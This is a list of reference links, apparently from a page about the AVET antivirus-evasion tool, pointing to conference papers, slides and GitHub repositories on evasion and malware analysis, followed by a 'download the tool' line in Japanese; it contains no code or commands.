- [https://govolution.wordpress.com/2018/08/07/paper-avet-blackhat-usa-arsenal-2018/](https://govolution.wordpress.com/2018/08/07/paper-avet-blackhat-usa-arsenal-2018/)
- [https://govolution.wordpress.com/2017/06/11/avet-video/](https://govolution.wordpress.com/2017/06/11/avet-video/)
- [https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf](https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf)
- [https://deepsec.net/docs/Slides/2014/Why_Antivirus_Fails_-_Daniel_Sauder.pdf](https://deepsec.net/docs/Slides/2014/Why_Antivirus_Fails_-_Daniel_Sauder.pdf)
- [https://twitter.com/DanielX4v3r](https://twitter.com/DanielX4v3r)
- [https://github.com/govolution/avetosx](https://github.com/govolution/avetosx)
- [https://github.com/tacticaljmp](https://github.com/tacticaljmp)
- [https://github.com/Mr-Un1k0d3r/DKMC](https://github.com/Mr-Un1k0d3r/DKMC)
- [https://github.com/m0n0ph1/Basic-File-Crypter](https://github.com/m0n0ph1/Basic-File-Crypter)
- [https://github.com/hasherezade/pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode)
- [https://github.com/hasherezade/demos/](https://github.com/hasherezade/demos/)
- [https://github.com/a0rtega/pafish](https://github.com/a0rtega/pafish)
- [https://danielsauder.com](https://danielsauder.com)
ツールをダウンロード